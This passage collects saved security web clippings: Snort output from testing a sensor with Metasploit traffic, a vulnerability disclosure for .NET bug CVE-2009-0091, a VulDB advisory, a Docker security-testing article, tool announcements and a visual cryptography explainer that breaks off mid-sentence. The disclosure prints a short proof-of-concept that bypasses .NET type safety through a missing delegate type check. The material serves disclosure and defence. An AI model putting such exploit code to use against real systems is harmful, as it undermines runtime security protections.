...edited...  
Run time for packet processing was 0.57471 seconds  
===============================================================================  
Snort processed 7383 packets.  
===============================================================================  
Breakdown by protocol (includes rebuilt packets):  
ETH: 7383 (100.000%)  
...edited...  
IP4: 7371 (99.837%)  
...edited...  
TCP: 7234 (97.982%)  
UDP: 100 (1.354%)  
ICMP: 2 (0.027%)  
...edited...  
ARP: 12 (0.163%)  
...edited...  
OTHER: 2 (0.027%)  
DISCARD: 0 (0.000%)  
InvChkSum: 0 (0.000%)  
S5 G 1: 0 (0.000%)  
S5 G 2: 33 (0.447%)  
Total: 7383  
===============================================================================  
Action Stats:  
ALERTS: 10  
LOGGED: 18  
PASSED: 0  
...truncated...  
`

Here we see why Snort reported inspecting 7383 packets, when only 7350 are
really in the trace. Snort's Stream5 preprocessor created 33 pseudo-packets
for inspection, as listed in the "S5 G 2: 33" output above. This is normal.

To determine whether Snort logged any interesting alerts, we can inspect the
alert file in /tmp. We look at the first few lines using the head command.

`r200a:/home/richard$ head /tmp/alert  
[**] [122:1:0] (portscan) TCP Portscan [**]  
[Priority: 3]  
11/15-14:37:10.471510 192.168.199.1 -> 192.168.199.128  
PROTO:255 TTL:0 TOS:0x0 ID:66 IpLen:20 DgmLen:164  
[**] [1:1421:13] SNMP AgentX/tcp request [**]  
[Classification: Attempted Information Leak] [Priority: 2]  
11/15-14:37:10.501208 192.168.199.1:34296 -> 192.168.199.128:705  
TCP TTL:42 TOS:0x0 ID:20769 IpLen:20 DgmLen:44  
******S* Seq: 0x6885F9A4 Ack: 0x0 Win: 0xC00 TcpLen: 24  
`

To get a quick summary of the alerts, we use grep next.

`r200a:/home/richard$ grep '\[\*\*\]' /tmp/alert  
[**] [122:1:0] (portscan) TCP Portscan [**]  
[**] [1:1421:13] SNMP AgentX/tcp request [**]  
[**] [1:1418:13] SNMP request tcp [**]  
[**] [1:1420:13] SNMP trap tcp [**]  
[**] [122:1:0] (portscan) TCP Portscan [**]  
[**] [1:8694:4] NETBIOS DCERPC NCACN-IP-TCP IActivation remoteactivation  
overflow attempt [**]  
[**] [1:8690:4] NETBIOS DCERPC NCACN-IP-TCP IActivation remoteactivation
little  
endian overflow attempt [**]  
[**] [1:2924:3] NETBIOS SMB-DS repeated logon failure [**]  
[**] [1:8969:4] NETBIOS SMB-DS wkssvc NetrAddAlternateComputerName WriteAndX  
little endian overflow attempt [**]  
[**] [1:7250:8] NETBIOS SMB-DS srvsvc NetrPathCanonicalize WriteAndX little  
endian overflow attempt [**]  
`

We can look at the snort.log file to see packets of interest logged by Snort.

`r200a:/home/richard$ tcpdump -n -r /tmp/snort.log.1258315966  
reading from file /tmp/snort.log.1258315966, link-type EN10MB (Ethernet)  
14:37:10.471510 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 144  
14:37:10.471511 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 16  
14:37:10.500486 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15  
14:37:10.501208 IP 192.168.199.1.34296 > 192.168.199.128.705: S  
1753610660:1753610660(0) win 3072  
14:37:11.638795 IP 192.168.199.1.34296 > 192.168.199.128.161: S  
1753610660:1753610660(0) win 1024  
14:37:11.769808 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15  
14:37:11.774953 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15  
14:37:11.916197 IP 192.168.199.1.34296 > 192.168.199.128.162: S  
1753610660:1753610660(0) win 3072  
14:39:15.753071 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 144  
14:39:15.753072 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15  
14:39:15.753073 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15  
14:39:18.252871 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15  
14:39:18.489735 IP 192.168.199.1.45275 > 192.168.199.128.135: P  
1682322703:1682323303(600) ack 905855197 win 46  
14:39:18.641719 IP 192.168.199.1.45275 > 192.168.199.128.135: . 600:2048(1448)  
ack 349 win 54  
14:39:29.692493 IP 192.168.199.128.445 > 192.168.199.1.41222: P  
85763667:85763706(39) ack 1855096774 win 16970  
14:39:31.219517 IP 192.168.199.1.57219 > 192.168.199.128.445: P 0:8191(8191)
ack 0 win 0  
14:39:31.799583 IP 192.168.199.1.41222 > 192.168.199.128.445: P  
2439870523:2439871294(771) ack 4209203629 win 0  
14:39:31.934970 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 17  
`

The various packets with "ip-proto-255" are not real packets. They are other
pseudo-packets created by Snort for logging purposes. For example, let's look
at the first two in detail.

`r200a:/home/richard$ tcpdump -n -X -r /tmp/snort.log.1258315966 -c 2  
reading from file /tmp/snort.log.1258315966, link-type EN10MB (Ethernet)  
14:37:10.471510 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 144  
0x0000: 4500 00a4 0042 0000 00ff a946 c0a8 c701 E....B.....F....  
0x0010: c0a8 c780 5072 696f 7269 7479 2043 6f75 ....Priority.Cou  
0x0020: 6e74 3a20 350a 436f 6e6e 6563 7469 6f6e nt:.5.Connection  
0x0030: 2043 6f75 6e74 3a20 3130 0a49 5020 436f .Count:.10.IP.Co  
0x0040: 756e 743a 2031 0a53 6361 6e6e 6572 2049 unt:.1.Scanner.I  
0x0050: 5020 5261 6e67 653a 2031 3932 2e31 3638 P.Range:.192.168  
0x0060: 2e31 3939 2e31 3a31 3932 2e31 3638 2e31 .199.1:192.168.1  
0x0070: 3939 2e31 0a50 6f72 742f 5072 6f74 6f20 99.1.Port/Proto.  
0x0080: 436f 756e 743a 2031 300a 506f 7274 2f50 Count:.10.Port/P  
0x0090: 726f 746f 2052 616e 6765 3a20 3231 3a33 roto.Range:.21:3  
0x00a0: 3338 390a 389.  
14:37:10.471511 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 16  
0x0000: 4500 0024 0042 0000 00ff a9c6 c0a8 c701 E..$.B..........  
0x0010: c0a8 c780 4f70 656e 2050 6f72 743a 2033 ....Open.Port:.3  
0x0020: 3338 390a 389.  
`

Snort's portscan preprocessor created both packets. The first gives details on
a host conducting a scan \(192.168.199.1\) and the second shows that port 3389
is open on the target.

The other packets are either related to the portscan activity and reporting,
or to the SMB exploitation Metasploit conducted against the target.

In brief, using Metasploit to generate traffic, followed by feeding that
traffic to Snort, demonstrates how to test a set of security tools on a
budget.

_**About the author**  
Richard Bejtlich is principal technologist and director of incident response
for General Electric. He writes for his blog,
http://taosecurity.blogspot.com._

# IKVM.NET Weblog - MS09-061 Vulnerability Details

**Created:**| _12/3/2009 9:34:46 PM_  
---|---  
**Updated:**| _12/3/2009 9:34:59 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit vulnerability_  
  

## Dienstag, 27. Oktober 2009

### MS09-061 Vulnerability Details

On "Patch Tuesday" two weeks ago Microsoft released security bulletin
MS09-061. This bulletin describes three issues, one of which I reported to
Microsoft on September 12, 2008. I will describe the details of what is now
known as CVE-2009-0091. I have no inside knowledge of the other two
vulnerabilities.

As mentioned in the original blog entry, I found the bug while browsing the
Rotor sources. Here's the fragment that caught my eye:

` // This method will combine this delegate with the passed delegate  
// to form a new delegate.  
protected override sealed Delegate CombineImpl(Delegate follow)  
{  
// Verify that the types are the same...  
// Actually, we don't need to do this, because Delegate.Combine already checks
this.  
// if (!InternalEqualTypes(this, follow)  
// throw new ArgumentException(...)`

This is from multicastdelegate.cs \(**Warning** : this link leads to
**Microsoft Shared Source** licensed code\).

The code that is commented out is a security check. After seeing this I
immediately confirmed \(using ildasm\) that the, at that time current,
production version of mscorlib also didn't include the check. I also checked
.NET 1.1 and in that version the check is present. I also checked a pre-
release version of Silverlight 2.0 and it also didn't include the check. The
subsequent Silverlight 2.0 release on October 14, 2008 included the fix.
Microsoft did not find it necessary to credit me with the fix \(not even
privately\).

**Why Is This a Security Vulnerability?**

In my example type safety exploit, I used a union to bypass type safety. That
wasn't an actual security vulnerability because such a union requires full
trust. However, if we can combine two different delegate types we can do the
same and because of the missing type check this was possible.

If you take TypeSafetyExploitPoC.cs and replace the TypeSystemHole method with
the following and add a reference to an assembly containing
CombinePoCHelper.il \(written in MSIL because that is the easiest way to write
your own MulticastDelegate subclass that can call the protected CombineImpl
method\).

`delegate void AnotherDelegate(Union1 u2);  
  
static Union1 TypeSystemHole(Union2 u2)  
{  
Union1 u1 = null;  
CombineHelper del1 = delegate { };  
AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };  
del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);  
del1(u2);  
return u1;  
}`

Voila\!

27.10.2009 08:17:15 \(W. Europe Standard Time, UTC+01:00\)  <img
src='img/Temp2_4227.gif' alt='#' /> Comments \[2\]

# Microsoft Windows Vista/Server 2008 TIFF Image Handler buffer overflow

**Created:**| _11/6/2013 9:36:33 AM_  
---|---  
**Updated:**| _11/6/2013 9:36:33 AM_  
**Author:**| __  
**Tags:**| _vulnerability windows environment_  
  

# VulDB : Microsoft Windows Vista/Server 2008 TIFF Image Handler buffer
overflow****

### General****

<img src='img/Temp2_5368.gif' alt='Microsoft' />

scipID: 11081  
Affected: Microsoft Windows Vista/Server 2008  
Published: 11/05/2013 \(Haifei Li\)  
Risk: <img src='img/Temp2_5369.gif' /> critical  
Entry: 95**.** 6% complete  
Created: 11/06/2013

### Summary****

A vulnerability, which was classified as critical, has been found in
Microsoft Windows Vista/Server 2008 **.** This issue affects an unknown
function of the component _TIFF Image Handler_**.** The manipulation with an
unknown input leads to a buffer overflow vulnerability**.** Impacted is
confidentiality, integrity, and availability**.** Larry Seltzer writes for
ZDNet: “Of these products, only Lync 2013 is a current version**.** Windows 7
and 8 and Office 2013 and Office 365 are not affected**.** ”

The weakness was released 11/05/2013 by Haifei Li with McAfee as _2896666_ as
confirmed bulletin \(Technet\)**.** The advisory is shared for download at
technet.microsoft.com **.** The public release happened without involvement of
Microsoft**.** The identification of this vulnerability is CVE-2013-3906
since 06/03/2013**.** The attack may be initiated remotely. No form of
authentication is needed for a successful exploitation**.** Technical details
are unknown but a private exploit is available**.** Due to its background and
reception, this vulnerability has a historic impact**.**

It is declared as highly functional**.** The advisory illustrates:

> Microsoft is aware of targeted attacks that attempt to exploit this
> vulnerability in Microsoft Office products**.**
Applying the patch 2896666 is able to eliminate this problem**.** The bugfix
is ready for download at support.microsoft.com **.** It is possible to
mitigate the problem by applying the configuration setting
`HKEY_LOCAL_MACHINESOFTWAREMicrosoftGdiplusDisableTIFFCodec = 1`**.** The best
possible mitigation is suggested to be patching the affected component**.** A
possible mitigation has been published immediately after the disclosure of the
vulnerability**.** The advisory contains the following remark:

> Workarounds refer to a setting or configuration change that does not correct
> the underlying issue but would help block known attack vectors before a
> security update is available**.** See \[the next section\], Workarounds, for
> more information**.**
The vulnerability is also documented in the vulnerability database at OSVDB
\(99376 \)**.** zdnet.com  is providing further details**.**

### Affected****

  * Microsoft Windows Vista SP2
  * Microsoft Windows Server 2008 SP2
  * Microsoft Office 2007 SP3
  * Microsoft Office 2003 SP3
  * Microsoft Office 2010 SP1
  * Microsoft Office 2010 SP2
  * Microsoft Office Compatibility Pack SP3
  * Microsoft Lync 2010
  * Microsoft Lync 2013
  * Microsoft Lync Basic 2013

Base Score: 7**.** 6 \(CVSS2\#AV:N/AC:H/Au:N/C:C/I:C/A:C\) \[?\]  
Temp Score: 6**.** 6 \(CVSS2\#E:H/RL:OF/RC:C\) \[?\]

Access Vector | Access Complexity | Authentication | Confidentiality | Integrity | Availability   
---|---|---|---|---|---  
Local | High |  Multiple |  None |  None |  None   
Adjacent |  Medium |  Single |  Partial |  Partial |  Partial  
Network |  Low | None | Complete | Complete | Complete   
  * cpe:/o:microsoft:windows:vista
  * cpe:/o:microsoft:windows:server\_2008

### Exploiting****

Class: Buffer overflow  
Local: No  
Remote: Yes

Availability: Yes  
Access: Private  
Status: Highly functional

### Countermeasures****

Recommended: Patch  
Status: Official fix  
Reaction Time: 0 days since reported  
0-Day Time: 0 days since found  
Exposure Time: 0 days since known

Patch: 2896666  
Config: HKEY\_LOCAL\_MACHINESOFTWAREMicrosoftGdiplusDisableTIFFCodec = 1

### Timeline****

06/03/2013 | CVE assigned   
11/05/2013 | Vendor acknowledged   
11/05/2013 | Advisory disclosed   
11/05/2013 | Countermeasure disclosed   
11/06/2013 | VulDB entry created   
11/06/2013 | VulDB entry updated 
### Sources****

Advisory: 2896666  
Researcher: Haifei Li  
Company: McAfee  
Status: Confirmed  
Confirmation: technet.microsoft.com

CVE: CVE-2013-3906 \(mitre.org\)  \(nist.org\)  \(cvedetails.com\)

OSVDB: 99376 – Microsoft Multiple Product Crafted TIFF Image Handling
Arbitrary Code Execution

Misc**.** : zdnet.com

Vulnerabilities Overview

****

# Docker - Continuous Build Security Assessment

**Created:**| _5/7/2017 10:18:35 AM_  
---|---  
**Updated:**| _5/7/2017 10:18:35 AM_  
**Author:**| __  
**Tags:**| _Continuous\_Integration_  
  

  

# Docker

## Continuous Build Security Assessment

Rocco Gagliardi

04\. May 2017 ⋅ Time to read: 6 minutes

Docker: “Build, Ship, and Run …”, _Continuously_ is implied. But the jump from
_Build_ to _Ship_ looks pretty simple. Sure, at Docker they know it’s not so
simple: before you can ship a container, some tests must be performed.

Docker – in general _containerized software_ – claim to optimize the
_Continuous-Delivery/-Integration process_ \(CD/CI\), reducing deployment
risks, managing the infrastructure as one additional piece of code
\(_Infrastructure as Software_\).

To achieve the _Continuous Delivery_ \(CD\) – where you build software that
can be released to production at any time – you need a _Continuous-
Integration_ \(CI\) process – integrating, building, and testing code within
the development environment – and a _Deployment Pipeline_ \(DP\) – every
change goes through the pipeline and is automatically applied into production,
resulting in many deployments per day. _Continuous Delivery_ \(CI\) just means
that you are _able to do frequent deployments_ but you may choose _not to do
it_ , usually because businesses stability.

With particular regard to Docker, what should be tested? Where? How? In this
article we try to sketch a test strategy and list some tools.

# Some Docker terms

Let’s briefly recall some Docker’s ecosystem terms:

  * **Docker Host** : Runs the Docker daemon, which does the heavy lifting of building, running, and distributing your Docker containers.
  * **Docker File** : A Docker file is a text document that contains all the commands you would normally execute manually in order to build a Docker image. Docker can build images automatically by reading the instructions from a Docker File.
  * **Docker Image** : Docker images are the basis of containers. An Image is an ordered collection of root filesystem changes and the corresponding execution parameters for use within a container runtime. An image typically contains a union of layered filesystems stacked on top of each other. An image does not have state and it never changes.
  * **Docker Container** : A container is a runtime instance of a Docker image. A Docker container consists of a Docker image, an Execution environment, a standard set of instructions.

# Test Strategy

Once the main components of the Docker-family has been identified, we can
think about how and where to perform some security tests.

The following table sketches our testing strategy:

Test Area  | Goal  | Tests  | When   
---|---|---|---  
Docker Host  |  Assure the host running Docker process has been secured following best practices.  |  Is the OS updated? Is the OS hardened? \(CIS Benchmark\) Is the OS exposure minimized? |  Integrate the results, no strictly correlated with the CI cycle.   
Docker File  |  Assure the container’s definition follows best practices.  |  Is the source trusted? \( FROM: \) Is the environment minimized? \( RUN … \) Is the network exposure minimized? \( EXPOSE \) Is the volume exposure minimized? \( VOLUME \) |  Integrated in the CI cycle.   
Docker Image  |  Assure the image’s static safety.  |  Is the image trusted? The image has known vulnerabilities?  |  Integrated in the CI cycle.   
Docker Container  |  Assure the image’s dynamic safety.  |  The container has know vulnerabilities? The container network exposure is minimized as in the Docker file? The container volume exposure is minimized as in the Docker file? |  Integrated in the CI cycle.   
# Test Tools

In order to be _Continuous_ , all the tests must be integrated in the
different pipelines: no manual intervention should be required.

Following is a list of tools to look for:

Tool  | Test Area  | Method  | License   
---|---|---|---  
docker-bench-security |  Docker Host  |  Runs the script in a container to obtain a report. Checks are based on the CIS Docker 1.6 Benchmark.  |  Apache 2.0   
OpenSCAP |  Docker Images + Docker Container  |  Use the oscap-docker to scan images/container against the CVE or custom policy and get the report.  |  GPLv3   
Clair |  Docker Images + Docker Container  |  Clair is an open source project for the static analysis of vulnerabilities in application containers. Used mostly via API, the tool get vulnerability from different sources, scans the images for the installed packages, and reports threats found. Clair is part of the CoreOS products family.  |  Apache 2.0  
Twistlock |  Docker Images  
Docker Container  
Packages  |  Uses NIST to find CVEs and the Docker CIS for vulnerability assessment.  
Runtime defense \(a specialized container deployed on each Docker Host\) allows security monitoring and reaction.  |  Commercial   
Aqua Security |  Docker Images + Docker Container + Packages  |  It works pretty much in the same way as Twistlock does, using a central server and agent containers running in privileged mode on every Docker host. Scalock provides a comprehensive security solution for virtual containers by adding visibility and control to containerized environments, enabling organizations to scale-out without security limitations even on a very large scale.  |  Commercial   
# Summary

Docker’s ecosystem is relative new and changing rapidly. Testing is just a
small part of the big picture; many other factors must be considered in order
to choose the right tool. The testing methodology and objective are clear; the
integration in the CD/CI process depends on the customer’s architecture.

## Links

## Tags

Scan, API

  

# Powerful tool to analyse your APKs now released \[open source\] – Developer
World

**Created:**| _7/30/2013 8:11:27 AM_  
---|---  
**Updated:**| _7/30/2013 8:11:27 AM_  
**Author:**| __  
**Tags:**| _mobile/embedded android_  
  

# **P** owerful tool to analyse your APKs now released \[open source****\]

Are you an app developer looking for a powerful app analysis tool**?** Do you
want to get a good view of the architecture and dependencies in your app**?**
Ever tried to disassemble bytecodes in Android™ apps**?** You can do all this
and much more with ApkAnalyser, our new virtual analysis tool that we’re also
making available as open source **.** Learn more after the jump.

ApkAnalyser is a static, virtual analysis tool for examining and validating
the development work of your Android™ app**.** It’s a complete tool chain
which supports modification of the binary application with more printouts**.**
You are then able to repack, install, run and verify the result from logcat
**.** ApkAnalyser also supports resource analysis, and you can decode XML,
look up resource references and detect potential issues in your app**.** This
tool is completely written in Java and requires JRE 1**.** 6 or above. It
works on Windows, Linux and Mac OS X. To download and install it, please check
out the instructions below**.**

**Key features**

ApkAnalyser actually includes a number of useful features in several different
areas, such as when you’re **exploring code and XML** , digging deeper in the
**architecture and dependencies** , working with **injection anddeodexing **,
or when you’re making a **resource analysis****.** Other features include:

  * Explore packages, classes, methods and fields, and look up packages, classes, methods, references and read/write accesses**.**
  * Disassemble Dalvik  bytecode methods with syntaxes highlighted**.**
  * Decode Android XML files with syntaxes highlighted**.**
  * Display UML packages and class diagrams, and highlight package and class dependencies**.**
  * Modify the APK file with predefined Dalvik bytecode injections**.**
  * View the logcat with debug level filters**.**
  * Support odex applications and libraries**.**
  * List resource IDs and its contents.
  * Find unused resources by resource ID or files**.**
  * Find system resource \(@android\) references**.**

For more information about the different features, check out the APKAnalyser
wiki page **.**

**Download ApkAnalyser and get started  
**So if you’re an Android™ app developer, ApkAnalyser might speed up your
analysis work and give you a lot more insights**.** Here’s how to download and
install it:

  1. Download the ApkAnalyser  jar file from the Developer World GitHub**.**
  2. Copy the jar file to your local disk and execute the following command in the command prompt to start ApkAnalyser: java -Xmx1024m -jar ApkAnalyser.jar
  3. Before you start to analyse your apps, you need to configure the ApkAnalyser**.** Go to _File_ > _Set paths._ In the **Classpath** tab, you can select several jar files or odex files to be loaded as reference libraries**.** Or you can simply pick a platform folder in the **Android SDK** tab, for example _C:android-sdk-windowsplatformsandroid-15_**.** ApkAnalyser will then import all the jar files in that folder**.** After that, add the APK file on the right side.
  4. Go to _File_ > _Settings**.** Change _**adb executable** path to point out the location of adb, for example _C:android-sdk-windowsplatform-toolsadb.exe_**.**
  5. Start analysing your app by clicking _File_ > _Analyse_**.**

**The main view of ApkAnalyser  
**Now if you’ve downloaded and installed ApkAnalyser, you might want to take a
quick look around the UI \(to learn more, check out the Developer World GitHub
APKAanalyser wiki \)**.** The main window of ApkAnalyser consists of three
areas**.** In the upper left, the tree lists reference libraries with a
numerical reference counter**.** In the upper right, the tree shows the
classes and resources of the targeted APK file**.**

<img src='img/Temp2_6342.jpg' alt='APKAnalyser UI' />

ApkAnalyser’s main window**.**

When the fields, methods or resource IDs are expanded in the tree, the method
invocations, field accesses or resource references for each item will be
listed**.**

<img src='img/Temp2_6341.jpg' width='580' height='57' alt='APKAnalyser
expanded Resource ID Reference' />

Expanded tree showing the reference of the resource ID**.**

<img src='img/Temp2_6339.jpg' alt='APKAnalyser expanded Field Access
Reference' />

Expanded tree showing the field access and method invocation references**.**

The area at the bottom of the main view is a preview window**.** It shows
different types of information according to what you select in the right and
left trees**.** In general, there are four kinds of output in the preview
window:

  1. UML diagrams for packages and classes**.**
  2. A Dalvik disassembler for methods. 
<img src='img/Temp2_6340.jpg' alt='Dalvik disassembler' />

The Dalvik disassembler**.**

  3. A resource detail view for resource IDs**.**
  4. An XML decoder for XML resources**.**
<img src='img/Temp2_6338.jpg' alt='XML Decoder' />

The XML decoder**.**

**Verifying resources with ApkAnalyser**

Another good use of ApkAnalyser is to make it help you verify resources**.**
Maybe you’re tired of seeing **Resources$NotFoundException** when your apps
are crashing**?** Or maybe you have some text strings missing translation**?**
Here are some scenarios where ApkAnalyser can help you:

  * When there’s **missing resources in the package****.** The resource is registered but the content is missing while Android Asset Packaging Tool \(aapt\) packs it**.**
  * When there’s **no DPI specific resource****.** The DPI specific resource is missing, and there is no default value on that resource**.**
  * When there’s **no default value** of the resource**.**
  * When there’s **missing t****ranslations****.** ApkAnalyer will then collect all the language information from the resource file \(resources.arsc\), and use it to verify the resources one by one**.** A report will then be generated, showing all the resources that are missing some language configurations**.**

All of this will help you verify all the resources, and list potential
problems.

To verify your resources, click _Resource_ > _Verify xml resources_**.** All
you need to do is to provide the screen pixel density \(dpi\) of your
targeting device**.** “ldpi”, “mdpi”, “hdpi” or “xhdpi” can be selected in the
sub menu, and if the application is not a specific DPI build, “nodpi” could be
selected**.**

**Bytecode modifications  
**ApkAnalyser also makes it possible to create a set of bytecode
modifications, which could be applied to the APK file in a batch**.** This
automatically adds printouts of suspicious pieces of code, to support you in
investigating the execution flow of the application**.**

You can do this by using any of the two quick samples below**.** You can
choose to apply them on some packages, classes or even the whole APK**.** The
first sample will print all the input parameters of a method in the ApiDemo
application from Android SDK **.** The second sample shows how to get the
return value of a method**.**

_How to print all the input parameters of a method:_

  1. In the targeted APK’s tree, navigate to “com.example.android.apis.graphics”**.**
  2. Select “FingerPaint$MyView.”
  3. Right click “touch\_move\(float x, float y\)**.** ”
  4. Apply “Print method entry\(with params\)”**.**

This will append the following output to the logcat when the method is being
invoked:

`com.example.android.apis.graphics.FingerPaint$MyView:touch_move(``float` `x,
``float` `y)``void``(``0``,``102``)`  
---  
`parameter[``0``]: ``float` `x = ``155**.** 0`  
---  
`parameter[``1``]: ``float` `y = ``290**.** 0`  
---  
_How to get the return value of a method:_

  1. In the targeted APK’s tree, navigate to “com.example.android.apis.graphics**.** ”
  2. Select “FingerPaint$MyView.”
  3. Right click “onTouchEvent\(android.view.MotionEvent event\) boolean**.** “
  4. Apply “Print method exit\(with return value\)”**.**

This will append the following output to the logcat when the method returns:

`<
com.example.android.apis.graphics.FingerPaint$MyView:onTouchEvent(android.view.MotionEvent
event)``boolean``(``10``,``137``)`  
---  
`return``: ``boolean` `= ``true`  
---  
More than twenty types of modifications to create different sets of bytecode
are supported**.** To find out more about these, a complete tutorial is
available on the Developer World GitHub APKAnalyser tutorial wiki  page**.**

**Use and improve ApkAnalyser  
**We hope many of you will have great use of ApkAnalyser – feel free to start
downloading  it today**\!** Since ApkAnalyser is open source, we would be
really happy if you would work together with us to improve this tool**.** If
you have any ideas, feel free to contact us, either through the comments of
this blogpost, or by checking out the ApkAnalyser forum thread on XDA
forum**.**

So what do you think? Will this tool be useful for you**?**

**More information:**

****

# VRT: The Power of Scapy

**Created:**| _8/3/2010 8:02:03 AM_  
---|---  
**Updated:**| _8/3/2010 8:02:03 AM_  
**Author:**| _wishi_  
**Tags:**| _python network-security programming_  
  

### The Power of Scapy

There is a special place in my heart for someone who accidentally causes all
the Macs in the office to repeatably crash at the Grey Screen of Death. If you
too like fun "accidents" or need to craft up some packets check out Judy
Novak's SANS class on Scapy. This is an in-depth start to finish class on the
Scapy API, and will take you from just knowing about Scapy to building complex
packet crafting scripts for all your testing, verification, and hacking needs.  
  
If you ever needed to:  
1\. Test your Snort rules with real traffic  
2\. Verify your packet munging devices actually support your special protocol
needs  
3\. Need to build a PoC for that new NAT vulnerability  
4\. Pen-test the robustness of that new communication channel  
  
Then this class is for you. Next class is in Las Vegas on September 19th.  
  
Check it out here: http://www.sans.org/security-training/power-packet-
crafting-scapy-1382-mid.

# Visual Cryptography

**Created:**| _11/19/2013 12:28:00 PM_  
---|---  
**Updated:**| _11/19/2013 12:28:00 PM_  
**Author:**| __  
**Tags:**| _bookmark crypto visualization_  
  

# **V** isual Cryptography****

This article is about **Visual Cryptography****.** Visual Cryptography is a technique that allows information \(images, text, diagrams …\) to be encrypted using an encoding system that can be decrypted by the eyes**.** It does not require a computer to decode. | <img src='img/Temp2_8940.png' />  
---|---  
The technique I’m going to describe is attributed to two great mathematicians:
_Moni Naor_ and _Adi Shamir_ , in 1994**.** In this implementation, I'm going
to show how to split a secret message into two components**.** Both parts are
necessary to reconstruct and reveal the secret, and the possession of either
one, alone, is useless in determining the secret**.**

<img src='img/Temp2_8935.png' />| The basis of the technique is the
superposition \(overlaying\) of two semi-transparent layers**.** Imagine two
sheets of transparency covered with a seemingly random collection of black
pixels**.**| <img src='img/Temp2_8933.png' />  
---|---|---  
Individually, there is no discernable message printed on either one of the
sheets**.** Overlapping them creates addition interference to the light
passing through \(mathematically the equivalent of performing a Boolean OR
operation with the images\), but still it just looks like a random collection
of pixels**.**

<img src='img/Temp2_8943.png' />  
---  
Mysteriously, however, if the two grids are overlaid correctly, at just the
right position, a message magically appears**\!** The patterns are designed to
reveal a message.  
<img src='img/Temp2_8947.png' />  
### Demonstration****

Let’s look at couple of examples of this in action, then we’ll describe how
the technique works**.**

Below you will see two random looking rectangles of dots**.** One is fixed in
the center, and the other you can drag around the canvas**.** As the
rectangles intersect, the images merge. If you align the rectangles perfectly,
a hidden message will appear**.** There are three hidden message to see in
this demonstration, once you’ve decoded one, click on the square button in the
bottom left to advance to the next**.**

<img src='img/Temp2_8932.png' />

To give you feedback, once the images are perfectly aligned, the advance
button will go blank with a red border \(don’t worry, your computer will not
self-destruct in five seconds\)

### How does it work**?**

First we take a monochrome image for the source**.** Pixels in the image are
either white or black. To the right is the source for the first example we saw
above**.**| <img src='img/Temp2_8939.png' />  
---|---  
<img src='img/Temp2_8946.png' />| Next we sub-divide each pixel into four
smaller subpixels**.** We need to shade these four subpixels to represent the
source image, then subjectively divide them between the two cypher images we
are to create**.**  
---|---  
We need to distribute the shading such that, if you have just one of the
cypher images, it is impossible to determine what is on the other cypher
image, and thus, impossible to decrypt the image**.**

What we do is look at the color of each pixel in the original source
image**.** If the original pixel in the image is set \(black\), we fill in all
four sub pixels then distribute them two per cypher layer**.** We flip a coin
to determine which pattern we place on which layer \(so that it is
random\)**.** It does not matter which pair of pixels goes on which layer,
when they are combined, all four pixels will be black**.**

<img src='img/Temp2_8930.png' />  
---  
Conversely, if the source image pixel is white, we shade in just two
pixels**.** This time, however, we make sure that the _same_ pixels are shaded
on both layers**.** In this way, when the two cypher images are combined, only
two pixels are shaded**.** As before, we flip a coin to determine which chiral
set we go with, and make sure the same image appears on both layers**.**

<img src='img/Temp2_8934.png' />|  The result of this process is two images
\(both four times as large as the original\) which when combined result in an
image with half the contrast of the original**.** The black of the source
remains black in the combined cypher, but the white in the source is changed
to a randomly mottled half-tone gray**.** Luckily this is still sufficiently
high enough contrast for the secret message to be easily read**.**  
---|---  
Someone who has possession of only one of the cypher images will be able to
determine the _\(2 x 2\)_ pattern of each pixel but has _no_ idea if the
corresponding pixel cluster on the other image is the same \(white space\), or
opposite \(black pixel\)**.** Every grid of _\(2 x 2\)_ sub pixels on both
layers contains exactly two pixels**.**

Of course, the two pixels selected do not have to follow checker-board pattern I used above**.** As long as two are shaded at random, and the rules followed as to whether the same, or complementary, pixels are shaded on the other layer, the system will work**.** | <img src='img/Temp2_8944.png' />  
---|---  
Here is a short animation of a some of these _\(2 x 2\)_ pixel sub-blocks
sliding over each other:

Pretty cool, huh**?** Well hold on, it gets cooler …

### Moni Naor, Adi Shamir, and more people**** …

The original paper by _Naor_ and _Shamir_ talks about how to implement this
system in a more generic way**.** For instance, instead of splitting the image
into just two cypher texts, why don't we split the image between _n_
-cyphertexts; all of which are needed to be combined to reveal the final
image**?** \(Or possibly a subset of any _k_ images out of these _n_\)**.**

If you are interested in reading more, you can find a reprint of the original
paper here**.**

As an example, here are some _\(3 x 3\)_ sub-elements that could be used to
distribute an image over four cypher images, all of which are needed to be
combined to reveal the secret images:

<img src='img/Temp2_8931.png' />

The top line shows the subpixels used to represent a black pixel in the
original images, and the bottom line a white pixel**.**

  * Any single share contains exactly five black subpixels**.**
  * Any stacked pair contains exactly seven black subpixels**.**
  * Any stacked triplet contains eight black subpixels**.**

However, _when all four in each row are combined_ , the top row contains _nine_ subpixels \(all black\), whilst the lower row contains only _eight_ \(allowing light to shine through and creating the contrast necessary to read the image\)**.** You can see from this how the colluding of _any two_ or _any three_ people is not enough to reveal the secret**.** \(Mathematically it's possible to do this with eight, not nine, sub-pixels , but there's no easy way to sub divide and pack a square array with eight**\!**\) | <img src='img/Temp2_8938.png' />  
---|---  
## Deeper down the rabbit hole: _Visual Steganography****_

<img src='img/Temp2_8929.png' />|  We can use this technique to do something
even cooler**\!** Imagine that, in addition to the two source images, we have
a _third_ secret image we want to encode**.** Let’s say we want to produce two
cypher images that look ‘innocent’, but secretly hide the third**.** The
generated two cypher images could be printed on transparencies and made to
look like legitimate images of no consequence**.** However, these images, when
combined in just the correct way, could be used reveal a third message**.**
The technology of hiding images inside other images is called
Steganography**.**  
---|---  
I’ve done this below**.** Trust me, you’re not going to believe this at
first**.** You’re going to be convinced that there is some ‘behind the scenes’
script at work that changes the image**.** I assure you this is not the
case**.** You’re still not going to believe me\!

Below, on the left, is my name, encoded from a monochrome image, and also
containing partial details of a third hidden image**.** On the right is the
